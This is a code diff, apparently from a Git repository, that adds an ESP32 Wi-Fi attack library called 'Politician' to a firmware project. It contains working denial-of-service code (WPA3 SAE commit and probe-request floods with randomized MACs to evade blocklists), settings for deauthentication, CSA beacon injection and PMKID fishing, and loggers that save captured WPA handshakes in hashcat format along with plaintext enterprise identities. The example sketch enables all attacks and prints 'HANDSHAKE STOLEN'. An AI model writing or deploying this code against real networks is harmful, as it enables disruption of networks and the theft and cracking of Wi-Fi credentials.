if (wlen > 0) {
|
||||
file.write(buf, wlen);
|
||||
file.flush();
|
||||
}
|
||||
file.close();
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Helper for writing HandshakeRecords to an HC22000 text file.
|
||||
*/
|
||||
class Hc22000FileLogger {
|
||||
public:
|
||||
/**
|
||||
* @brief Appends a HandshakeRecord to a file as an HC22000 string.
|
||||
*
|
||||
* @param fs The filesystem (e.g., SD, LittleFS)
|
||||
* @param path The path to the file (e.g., "/captures.22000")
|
||||
* @param rec The HandshakeRecord to write
|
||||
* @return true if successful, false if file could not be opened
|
||||
*/
|
||||
static bool append(fs::FS &fs, const char* path, const HandshakeRecord& rec) {
|
||||
fs::File file = fs.open(path, FILE_APPEND);
|
||||
if (!file) return false;
|
||||
|
||||
String str = format::toHC22000(rec);
|
||||
if (str.length() == 0) {
|
||||
file.close();
|
||||
return false;
|
||||
}
|
||||
file.println(str);
|
||||
file.flush();
|
||||
file.close();
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Helper for writing precise GPS location coordinates to a Wigle.net compatible CSV file.
|
||||
*
|
||||
* Wigle.net has a strict CSV format starting with a specific header:
|
||||
* MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type
|
||||
*/
|
||||
class WigleCsvLogger {
|
||||
public:
|
||||
/**
|
||||
* @brief Appends a HandshakeRecord's details alongside GPS coordinates to a Wigle CSV.
|
||||
*
|
||||
* @param fs The filesystem (e.g., SD, LittleFS)
|
||||
* @param path The path to the file (e.g., "/wardrive.csv")
|
||||
* @param rec The captured HandshakeRecord
|
||||
* @param lat Current GPS Latitude
|
||||
* @param lon Current GPS Longitude
|
||||
* @param alt (Optional) Current GPS Altitude in meters
|
||||
* @param acc (Optional) GPS Accuracy radius in meters
|
||||
* @return true if successful, false if file could not be opened
|
||||
*/
|
||||
static bool append(fs::FS &fs, const char* path, const HandshakeRecord& rec,
|
||||
float lat, float lon, float alt = 0.0, float acc = 10.0) {
|
||||
bool isNew = !fs.exists(path);
|
||||
if (!isNew) {
|
||||
fs::File check = fs.open(path, FILE_READ);
|
||||
if (check) {
|
||||
isNew = (check.size() == 0);
|
||||
check.close();
|
||||
}
|
||||
}
|
||||
|
||||
fs::File file = fs.open(path, FILE_APPEND);
|
||||
if (!file) return false;
|
||||
|
||||
if (isNew) {
|
||||
// Wigle.net standard header
|
||||
file.println("WigleWifi-1.4,appRelease=1.0,model=Politician,release=1.0,device=ESP32,display=1.0,board=ESP32,brand=Espressif");
|
||||
file.println("MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type");
|
||||
}
|
||||
|
||||
// Since this logger is fired specifically from the `onHandshake` callback,
|
||||
// it is mathematically guaranteed that the network is at least WPA2/WPA3.
|
||||
// Open and WEP networks do not generate 4-way EAPOL or PMKID frames.
|
||||
const char* authStr = "[WPA2-PSK-CCMP][ESS]";
|
||||
|
||||
// We use a simplified FirstSeen format since we don't naturally have an RTC attached, but Wigle accepts standard SQL datetimes.
|
||||
// E.g., "1970-01-01 00:00:00" - We leave time generalized.
|
||||
char line[256];
|
||||
snprintf(line, sizeof(line), "%02X:%02X:%02X:%02X:%02X:%02X,%s,%s,1970-01-01 00:00:00,%d,%d,%.6f,%.6f,%.1f,%.1f,WIFI",
|
||||
rec.bssid[0], rec.bssid[1], rec.bssid[2], rec.bssid[3], rec.bssid[4], rec.bssid[5],
|
||||
rec.ssid, authStr, rec.channel, rec.rssi, lat, lon, alt, acc);
|
||||
|
||||
file.println(line);
|
||||
file.flush();
|
||||
file.close();
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Helper for logging harvested 802.1X Enterprise Credentials.
|
||||
* It writes a Clean CSV file containing BSSID, Client, and Plaintext Identity.
|
||||
*/
|
||||
class EnterpriseCsvLogger {
|
||||
public:
|
||||
static bool append(fs::FS &fs, const char *path, const EapIdentityRecord &rec) {
|
||||
bool isNew = !fs.exists(path);
|
||||
|
||||
fs::File file = fs.open(path, FILE_APPEND);
|
||||
if (!file) return false;
|
||||
|
||||
if (isNew) {
|
||||
file.println("Enterprise BSSID,Client MAC,Plaintext Identity,Channel,RSSI");
|
||||
}
|
||||
|
||||
char line[128];
|
||||
snprintf(line, sizeof(line), "%02X:%02X:%02X:%02X:%02X:%02X,%02X:%02X:%02X:%02X:%02X:%02X,%s,%d,%d",
|
||||
rec.bssid[0], rec.bssid[1], rec.bssid[2], rec.bssid[3], rec.bssid[4], rec.bssid[5],
|
||||
rec.client[0], rec.client[1], rec.client[2], rec.client[3], rec.client[4], rec.client[5],
|
||||
rec.identity, rec.channel, rec.rssi);
|
||||
|
||||
file.println(line);
|
||||
file.close();
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Helper for persistently storing captured BSSIDs in NVS memory.
|
||||
* This ensures that previously captured networks aren't attacked again after a reboot.
|
||||
*/
|
||||
class NvsBssidCache {
|
||||
private:
|
||||
Preferences _prefs;
|
||||
String _ns;
|
||||
static const int MAX_STORED = 128;
|
||||
uint8_t _cache[MAX_STORED][6];
|
||||
size_t _count;
|
||||
|
||||
public:
|
||||
NvsBssidCache(const char* ns = "wardrive") : _ns(ns), _count(0) {
|
||||
memset(_cache, 0, sizeof(_cache));
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Initializes the NVS memory and loads the cached BSSIDs into RAM.
|
||||
*/
|
||||
void begin() {
|
||||
_prefs.begin(_ns.c_str(), false);
|
||||
size_t bytes = _prefs.getBytes("bssids", _cache, sizeof(_cache));
|
||||
_count = bytes / 6;
|
||||
if (_count > MAX_STORED) _count = MAX_STORED; // Safety parameter
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Feeds the loaded BSSIDs into the Politician engine so it knows to ignore them.
|
||||
* @param engine Reference to your active Politician instance
|
||||
*/
|
||||
void loadInto(Politician& engine) {
|
||||
for (size_t i = 0; i < _count; i++) {
|
||||
engine.markCaptured(_cache[i]);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Adds a newly captured BSSID to the cache and saves it to NVS.
|
||||
* @param bssid The 6-byte BSSID to save.
|
||||
* @return true if added, false if it already exists or the cache is full.
|
||||
*/
|
||||
bool add(const uint8_t* bssid) {
|
||||
for (size_t i = 0; i < _count; i++) {
|
||||
if (memcmp(_cache[i], bssid, 6) == 0) return false; // Already cached
|
||||
}
|
||||
if (_count >= MAX_STORED) return false; // Cache full
|
||||
|
||||
memcpy(_cache[_count], bssid, 6);
|
||||
_count++;
|
||||
|
||||
// Save entire updated array to NVS
|
||||
_prefs.putBytes("bssids", _cache, _count * 6);
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Clears the entire cache from NVS.
|
||||
*/
|
||||
void clear() {
|
||||
_count = 0;
|
||||
_prefs.remove("bssids");
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace storage
|
||||
} // namespace politician
|
||||
74
lib/Politician/src/PoliticianStress.cpp
Normal file
74
lib/Politician/src/PoliticianStress.cpp
Normal file
@@ -0,0 +1,74 @@
|
||||
#include "PoliticianStress.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_timer.h"
|
||||
#include "esp_random.h"
|
||||
|
||||
namespace politician {
|
||||
namespace stress {
|
||||
|
||||
void saeCommitFlood(const uint8_t* bssid, uint32_t count) {
|
||||
// 802.11 Authentication Frame Header (WPA3 SAE)
|
||||
uint8_t pkt[42] = {
|
||||
0xB0, 0x00, 0x3C, 0x00, // Frame Control (Auth), Duration
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Receiver Address (Target AP)
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Transmitter Address (Randomized)
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // BSSID (Target AP)
|
||||
0x00, 0x00, // Sequence Control
|
||||
|
||||
// --- Auth Body ---
|
||||
0x03, 0x00, // Auth Algorithm: 3 (SAE)
|
||||
0x01, 0x00, // Auth Seq: 1 (Commit)
|
||||
0x00, 0x00, // Status Code: 0 (Successful)
|
||||
// Group ID (2 bytes)
|
||||
0x13, 0x00, // 19 = NIST P-256
|
||||
// Empty payload elements follow in a real transaction, but creating the
|
||||
// connection state triggers the WPA3 RAM exhaustion immediately anyway.
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
// Copy the target BSSID directly into the Recipient and BSSID fields
|
||||
memcpy(&pkt[4], bssid, 6);
|
||||
memcpy(&pkt[16], bssid, 6);
|
||||
|
||||
for (uint32_t i = 0; i < count; i++) {
|
||||
// Bruteforce a completely random MAC address to bypass client blocklists!
|
||||
for (int m = 0; m < 6; m++) {
|
||||
pkt[10 + m] = (uint8_t)(esp_random() & 0xFF);
|
||||
}
|
||||
pkt[10] &= 0xFE; // Ensure Unicast
|
||||
pkt[10] |= 0x02; // Mark as Locally Administered MAC
|
||||
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false);
|
||||
}
|
||||
}
|
||||
|
||||
void probeRequestFlood(uint32_t count) {
|
||||
// 802.11 Probe Request Frame Header
|
||||
uint8_t pkt[36] = {
|
||||
0x40, 0x00, 0x00, 0x00, // Frame Control (Probe Req), Duration
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Broadcast RA
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Transmitter Address (Randomized)
|
||||
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Broadcast BSSID
|
||||
0x00, 0x00, // Sequence Control
|
||||
|
||||
// IE Tag 0: SSID (Broadcast - Length 0)
|
||||
0x00, 0x00,
|
||||
|
||||
// IE Tag 1: Supported Rates
|
||||
0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x0c, 0x12, 0x18, 0x24
|
||||
};
|
||||
|
||||
for (uint32_t i = 0; i < count; i++) {
|
||||
// Rapidly spin up random fake devices demanding network parameters
|
||||
for (int m = 0; m < 6; m++) {
|
||||
pkt[10 + m] = (uint8_t)(esp_random() & 0xFF);
|
||||
}
|
||||
pkt[10] &= 0xFE;
|
||||
pkt[10] |= 0x02;
|
||||
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, pkt, sizeof(pkt), false);
|
||||
}
|
||||
}
|
||||
|
||||
} // namespace stress
|
||||
} // namespace politician
|
||||
33
lib/Politician/src/PoliticianStress.h
Normal file
33
lib/Politician/src/PoliticianStress.h
Normal file
@@ -0,0 +1,33 @@
|
||||
#pragma once
|
||||
#include <Arduino.h>
|
||||
|
||||
namespace politician {
|
||||
|
||||
/**
|
||||
* @brief PoliticianStress: Decoupled DoS / Disruption Payload Delivery System
|
||||
*
|
||||
* Includes raw 802.11 framing mechanisms capable of flooding access points
|
||||
* with Management frames. If this header is not explicitly included in the user's
|
||||
* sketch, the C++ Linker will completely omit these offensive payloads from memory.
|
||||
*/
|
||||
namespace stress {
|
||||
|
||||
/**
|
||||
* @brief Blasts a massive SAE (Simultaneous Authentication of Equals) Commit flood.
|
||||
* Forces WPA3 routers to rapidly consume heap memory parsing anti-clogging tokens.
|
||||
*
|
||||
* @param bssid Target router's MAC address
|
||||
* @param count Number of frames to fire natively
|
||||
*/
|
||||
void saeCommitFlood(const uint8_t* bssid, uint32_t count = 1000);
|
||||
|
||||
/**
|
||||
* @brief Blasts out massive strings of randomized Probe Requests to overwhelm
|
||||
* local Access Points with client association processing queues.
|
||||
*
|
||||
* @param count Number of frames to fire natively
|
||||
*/
|
||||
void probeRequestFlood(uint32_t count = 1000);
|
||||
|
||||
}
|
||||
}
|
||||
124
lib/Politician/src/PoliticianTypes.h
Normal file
124
lib/Politician/src/PoliticianTypes.h
Normal file
@@ -0,0 +1,124 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
#include <Arduino.h>
|
||||
|
||||
namespace politician {
|
||||
|
||||
// ─── Capture Types ────────────────────────────────────────────────────────────
|
||||
#define CAP_PMKID 0x01 // PMKID fishing (fake association)
|
||||
#define CAP_EAPOL 0x02 // Passive EAPOL (natural client reconnection)
|
||||
#define CAP_EAPOL_CSA 0x03 // EAPOL triggered by CSA beacon injection
|
||||
|
||||
// ─── Attack Selection Bits ────────────────────────────────────────────────────
|
||||
#define ATTACK_PMKID 0x01 // PMKID fishing
|
||||
#define ATTACK_CSA 0x02 // CSA beacon injection
|
||||
#define ATTACK_PASSIVE 0x04 // Passive EAPOL capture
|
||||
#define ATTACK_DEAUTH 0x08 // Classic Reason 7 Deauthentication
|
||||
#define ATTACK_STIMULATE 0x10 // Zero-delay QoS Null Client Stimulation
|
||||
#define ATTACK_ALL 0x1F
|
||||
|
||||
// ─── Capture Filters ──────────────────────────────────────────────────────────
|
||||
// NOTE: Logging High-Frequency Intel (like Beacons) via standard SPI (SD.h) will
|
||||
// create massive blocking delays (20-50ms per flush) that destroy the hopper's
|
||||
// attack loop. If you enable LOG_FILTER_BEACONS or LOG_FILTER_ALL, you MUST
|
||||
// use a board wired for SDMMC (4-bit DMA) for non-blocking background writes.
|
||||
#define LOG_FILTER_HANDSHAKES 0x01 // EAPOLs, PMKIDs (Crackable info, SPI Safe)
|
||||
#define LOG_FILTER_PROBES 0x02 // Probe Requests & Responses (Scouting, SPI Safe)
|
||||
#define LOG_FILTER_BEACONS 0x04 // Beacons (Network Mapping, SDMMC ONLY!)
|
||||
#define LOG_FILTER_ALL 0xFF // Everything (SDMMC ONLY!)
|
||||
|
||||
// ─── Logging Callback ─────────────────────────────────────────────────────────
|
||||
typedef void (*LogCb)(const char *msg);
|
||||
|
||||
// ─── Callbacks ────────────────────────────────────────────────────────────────
|
||||
struct ApRecord;
|
||||
struct HandshakeRecord;
|
||||
struct EapIdentityRecord;
|
||||
|
||||
typedef void (*ApFoundCb)(const ApRecord &ap);
|
||||
typedef void (*PacketCb)(const uint8_t *payload, uint16_t len, int8_t rssi, uint32_t ts_usec);
|
||||
typedef void (*EapolCb)(const HandshakeRecord &rec);
|
||||
typedef void (*IdentityCb)(const EapIdentityRecord &rec);
|
||||
typedef bool (*TargetFilterCb)(const ApRecord &ap);
|
||||
|
||||
// ─── Error Codes ──────────────────────────────────────────────────────────────
|
||||
enum Error {
|
||||
OK = 0,
|
||||
ERR_WIFI_INIT = 1,
|
||||
ERR_INVALID_CH = 2,
|
||||
ERR_NOT_ACTIVE = 3,
|
||||
ERR_ALREADY_CAPTURED = 4
|
||||
};
|
||||
|
||||
/**
|
||||
* @brief Configuration for the Politician engine.
|
||||
*/
|
||||
struct Config {
|
||||
uint16_t hop_dwell_ms = 200; // Time per channel
|
||||
uint32_t m1_lock_ms = 800; // How long to stay on channel after seeing M1
|
||||
uint32_t fish_timeout_ms = 2000; // Time for PMKID association
|
||||
uint8_t fish_max_retries = 2; // PMKID retries before giving up or CSA
|
||||
uint32_t csa_wait_ms = 4000; // How long to wait for reconnect after CSA
|
||||
uint8_t csa_beacon_count = 8; // Number of CSA beacons to burst
|
||||
uint8_t deauth_burst_count = 16; // Number of classic Deauth frames to send
|
||||
uint8_t probe_aggr_interval_s = 30; // Seconds to wait between attacking same AP
|
||||
uint32_t session_timeout_ms = 60000; // How long orphaned handshakes live in RAM
|
||||
bool capture_half_handshakes = false; // Save M2-only captures and pivot to active attack
|
||||
bool skip_immune_networks = true; // Ignore Pure WPA3 / PMF Required networks
|
||||
uint8_t csa_deauth_count = 15; // Number of standard deauths to append
|
||||
uint8_t capture_filter = LOG_FILTER_HANDSHAKES | LOG_FILTER_PROBES; // Exclude Beacons by default to save SD storage
|
||||
};
|
||||
|
||||
// ─── AP Record ────────────────────────────────────────────────────────────────
|
||||
struct ApRecord {
|
||||
uint8_t bssid[6];
|
||||
char ssid[33];
|
||||
uint8_t ssid_len;
|
||||
uint8_t channel;
|
||||
int8_t rssi;
|
||||
uint8_t enc; // 0=open, 1=WEP, 2=WPA, 3=WPA2, 4=WPA3
|
||||
};
|
||||
|
||||
// ─── Frame Stats ──────────────────────────────────────────────────────────────
|
||||
struct Stats {
|
||||
uint32_t total;
|
||||
uint32_t mgmt;
|
||||
uint32_t ctrl;
|
||||
uint32_t data;
|
||||
uint32_t eapol;
|
||||
uint32_t pmkid_found;
|
||||
uint32_t beacons;
|
||||
uint32_t captures;
|
||||
};
|
||||
|
||||
// ─── Handshake Record ─────────────────────────────────────────────────────────
|
||||
struct HandshakeRecord {
|
||||
uint8_t type; // CAP_PMKID / CAP_EAPOL / ...
|
||||
uint8_t channel;
|
||||
int8_t rssi;
|
||||
uint8_t bssid[6];
|
||||
uint8_t sta[6];
|
||||
char ssid[33];
|
||||
uint8_t ssid_len;
|
||||
// PMKID path
|
||||
uint8_t pmkid[16];
|
||||
// EAPOL path
|
||||
uint8_t anonce[32];
|
||||
uint8_t mic[16];
|
||||
uint8_t eapol_m2[256];
|
||||
uint16_t eapol_m2_len;
|
||||
bool has_mic;
|
||||
bool has_anonce;
|
||||
uint8_t message_pair; // Hashcat MESSAGEPAIR byte, default 0x00 for M1/M2.
|
||||
};
|
||||
|
||||
// ─── 802.1X Enterprise Identity Record ─────────────────────────────────────────
|
||||
struct EapIdentityRecord {
|
||||
uint8_t bssid[6]; // Access Point MAC
|
||||
uint8_t client[6]; // Enterprise Client MAC
|
||||
char identity[65]; // The Plaintext Identity / Email Address
|
||||
uint8_t channel;
|
||||
int8_t rssi;
|
||||
};
|
||||
|
||||
} // namespace politician
|
||||
59
lib/Politician/src/main.cpp
Normal file
59
lib/Politician/src/main.cpp
Normal file
@@ -0,0 +1,59 @@
|
||||
#include <Arduino.h>
|
||||
#include <Politician.h>
|
||||
|
||||
using namespace politician;
|
||||
|
||||
Politician engine;
|
||||
|
||||
void onHandshake(const HandshakeRecord &rec) {
|
||||
Serial.println("\n[!] HANDSHAKE STOLEN!");
|
||||
Serial.printf("SSID: %s\n", rec.ssid);
|
||||
Serial.printf("BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n",
|
||||
rec.bssid[0], rec.bssid[1], rec.bssid[2],
|
||||
rec.bssid[3], rec.bssid[4], rec.bssid[5]);
|
||||
|
||||
if (rec.type == CAP_PMKID) {
|
||||
Serial.print("PMKID: ");
|
||||
for (int i = 0; i < 16; i++) Serial.printf("%02x", rec.pmkid[i]);
|
||||
Serial.println();
|
||||
} else {
|
||||
Serial.println("EAPOL M1+M2 captured.");
|
||||
}
|
||||
}
|
||||
|
||||
void onApFound(const ApRecord &ap) { }
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
delay(1000);
|
||||
Serial.println("\n--- Politician Library Example ---");
|
||||
|
||||
engine.setEapolCallback(onHandshake);
|
||||
engine.setApFoundCallback(onApFound);
|
||||
|
||||
Config cfg;
|
||||
cfg.hop_dwell_ms = 250;
|
||||
|
||||
if (engine.begin(cfg) != politician::OK) {
|
||||
Serial.println("WiFi Init Failed!");
|
||||
while(1) delay(100);
|
||||
}
|
||||
|
||||
engine.startHopping();
|
||||
engine.setActive(true);
|
||||
engine.setAttackMask(ATTACK_ALL);
|
||||
|
||||
Serial.println("Wardriving started...");
|
||||
}
|
||||
|
||||
void loop() {
|
||||
engine.tick();
|
||||
|
||||
static uint32_t lastStats = 0;
|
||||
if (millis() - lastStats > 10000) {
|
||||
lastStats = millis();
|
||||
Stats &st = engine.getStats();
|
||||
Serial.printf("[Stats] frames=%lu eapol=%lu pmkid=%lu total_caps=%lu \n",
|
||||
st.total, st.eapol, st.pmkid_found, st.captures);
|
||||
}
|
||||
}
|
||||
@@ -15,5 +15,3 @@ framework = arduino
|
||||
board_build.filesystem = littlefs
|
||||
board_build.partitions = partitions_captainjack.csv
|
||||
monitor_speed = 115200
|
||||
lib_deps =
|
||||
0ldev/Politician@^1.0.0
|
||||
|
||||
123
src/wifi_app.cpp
123
src/wifi_app.cpp
@@ -13,6 +13,8 @@ namespace {
|
||||
constexpr uint8_t MAX_APS = 48;
|
||||
constexpr uint8_t MAX_CAPTURES = 24;
|
||||
constexpr uint8_t HANDSHAKE_QUEUE_LEN = 4;
|
||||
constexpr uint8_t RAW_PACKET_QUEUE_LEN = 6;
|
||||
constexpr uint16_t RAW_PACKET_MAX_LEN = 768;
|
||||
constexpr size_t SERIAL_LINE_LEN = 96;
|
||||
const char *PCAP_PATH = "/captures.pcapng";
|
||||
const char *HC22000_PATH = "/captures.22000";
|
||||
@@ -75,6 +77,20 @@ volatile uint8_t gHandshakeHead = 0;
|
||||
volatile uint8_t gHandshakeTail = 0;
|
||||
volatile uint8_t gHandshakeDropped = 0;
|
||||
|
||||
struct RawPacketEntry {
|
||||
uint16_t len;
|
||||
int8_t rssi;
|
||||
uint32_t tsUsec;
|
||||
uint8_t payload[RAW_PACKET_MAX_LEN];
|
||||
};
|
||||
|
||||
RawPacketEntry gRawPacketQueue[RAW_PACKET_QUEUE_LEN] = {};
|
||||
volatile uint8_t gRawPacketHead = 0;
|
||||
volatile uint8_t gRawPacketTail = 0;
|
||||
volatile uint16_t gRawPacketDropped = 0;
|
||||
bool gRawPacketSaved = false;
|
||||
uint32_t gLastRawPacketTsUsec = 0;
|
||||
|
||||
lv_obj_t *gStatusLabel = nullptr;
|
||||
UiView gCurrentView = UiView::NONE;
|
||||
UiView gAlertRestoreView = UiView::NONE;
|
||||
@@ -221,10 +237,23 @@ void onPoliticianLog(const char *msg)
|
||||
|
||||
void onPacket(const uint8_t *payload, uint16_t len, int8_t rssi, uint32_t tsUsec)
|
||||
{
|
||||
(void)payload;
|
||||
(void)len;
|
||||
(void)rssi;
|
||||
(void)tsUsec;
|
||||
if (!payload || len == 0 || len > RAW_PACKET_MAX_LEN) {
|
||||
++gRawPacketDropped;
|
||||
return;
|
||||
}
|
||||
|
||||
uint8_t next = (gRawPacketHead + 1) % RAW_PACKET_QUEUE_LEN;
|
||||
if (next == gRawPacketTail) {
|
||||
++gRawPacketDropped;
|
||||
return;
|
||||
}
|
||||
|
||||
RawPacketEntry &entry = gRawPacketQueue[gRawPacketHead];
|
||||
entry.len = len;
|
||||
entry.rssi = rssi;
|
||||
entry.tsUsec = tsUsec;
|
||||
memcpy(entry.payload, payload, len);
|
||||
gRawPacketHead = next;
|
||||
}
|
||||
|
||||
void onHandshake(const HandshakeRecord &rec)
|
||||
@@ -248,6 +277,55 @@ bool popHandshake(HandshakeRecord *rec)
|
||||
return true;
|
||||
}
|
||||
|
||||
bool popRawPacket(RawPacketEntry *entry)
|
||||
{
|
||||
if (gRawPacketTail == gRawPacketHead) {
|
||||
return false;
|
||||
}
|
||||
memcpy(entry, &gRawPacketQueue[gRawPacketTail], sizeof(*entry));
|
||||
gRawPacketTail = (gRawPacketTail + 1) % RAW_PACKET_QUEUE_LEN;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool isAllZero(const uint8_t *data, size_t len)
|
||||
{
|
||||
for (size_t i = 0; i < len; ++i) {
|
||||
if (data[i] != 0) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
const char *validateHandshakeForExport(const HandshakeRecord &rec)
|
||||
{
|
||||
if (rec.ssid_len == 0 || rec.ssid_len > 32) {
|
||||
return "missing-essid";
|
||||
}
|
||||
if (rec.type == CAP_PMKID) {
|
||||
return isAllZero(rec.pmkid, sizeof(rec.pmkid)) ? "zero-pmkid" : nullptr;
|
||||
}
|
||||
if (rec.type != CAP_EAPOL && rec.type != CAP_EAPOL_CSA) {
|
||||
return "unsupported-type";
|
||||
}
|
||||
if (!rec.has_anonce) {
|
||||
return "missing-anonce";
|
||||
}
|
||||
if (isAllZero(rec.anonce, sizeof(rec.anonce))) {
|
||||
return "zero-anonce";
|
||||
}
|
||||
if (!rec.has_mic) {
|
||||
return "missing-mic";
|
||||
}
|
||||
if (isAllZero(rec.mic, sizeof(rec.mic))) {
|
||||
return "zero-mic";
|
||||
}
|
||||
if (rec.eapol_m2_len == 0 || rec.eapol_m2_len > sizeof(rec.eapol_m2)) {
|
||||
return "bad-eapol";
|
||||
}
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
void ensureFilesystem()
|
||||
{
|
||||
if (gFsReady) {
|
||||
@@ -385,6 +463,8 @@ void serialClearCaptures()
|
||||
gEngine.clearCapturedList();
|
||||
}
|
||||
clearCaptureIndex();
|
||||
gRawPacketSaved = false;
|
||||
gLastRawPacketTsUsec = 0;
|
||||
serialOk(removedAny ? "cleared" : "empty");
|
||||
}
|
||||
|
||||
@@ -924,8 +1004,15 @@ void processHandshake(const HandshakeRecord &rec)
|
||||
bool pcapSaved = false;
|
||||
bool hcSaved = false;
|
||||
if (gFsReady) {
|
||||
pcapSaved = PcapngFileLogger::append(LittleFS, PCAP_PATH, rec);
|
||||
hcSaved = Hc22000FileLogger::append(LittleFS, HC22000_PATH, rec);
|
||||
const char *rejectReason = validateHandshakeForExport(rec);
|
||||
if (!rejectReason) {
|
||||
uint32_t beaconTsUsec = gLastRawPacketTsUsec ? gLastRawPacketTsUsec : millis() * 1000;
|
||||
pcapSaved = PcapngFileLogger::appendBeacon(LittleFS, PCAP_PATH, rec, beaconTsUsec);
|
||||
hcSaved = Hc22000FileLogger::append(LittleFS, HC22000_PATH, rec);
|
||||
} else {
|
||||
Serial.printf("[WiFiApp] Rejected HC22000 export: %s\n", rejectReason);
|
||||
}
|
||||
pcapSaved = pcapSaved || gRawPacketSaved;
|
||||
}
|
||||
|
||||
gEngine.markCaptured(rec.bssid);
|
||||
@@ -950,6 +1037,28 @@ void processHandshake(const HandshakeRecord &rec)
|
||||
displaySsid(rec.ssid), rec.channel, pcapSaved, hcSaved);
|
||||
}
|
||||
|
||||
void processRawPackets()
|
||||
{
|
||||
if (gRawPacketHead == gRawPacketTail) {
|
||||
return;
|
||||
}
|
||||
|
||||
ensureFilesystem();
|
||||
if (!gFsReady) {
|
||||
return;
|
||||
}
|
||||
|
||||
RawPacketEntry entry;
|
||||
while (popRawPacket(&entry)) {
|
||||
if (PcapngFileLogger::appendPacket(LittleFS, PCAP_PATH, entry.payload, entry.len,
|
||||
entry.rssi, entry.tsUsec)) {
|
||||
gRawPacketSaved = true;
|
||||
gLastRawPacketTsUsec = entry.tsUsec;
|
||||
}
|
||||
delay(1);
|
||||
}
|
||||
}
|
||||
|
||||
void handleAlertRestore()
|
||||
{
|
||||
if (!gAlertRestorePending) {
|
||||
@@ -1021,6 +1130,8 @@ void wifiAppLoop()
|
||||
gEngine.tick();
|
||||
}
|
||||
|
||||
processRawPackets();
|
||||
|
||||
HandshakeRecord rec;
|
||||
while (popHandshake(&rec)) {
|
||||
processHandshake(rec);
|
||||
|
||||
Reference in New Issue
Block a user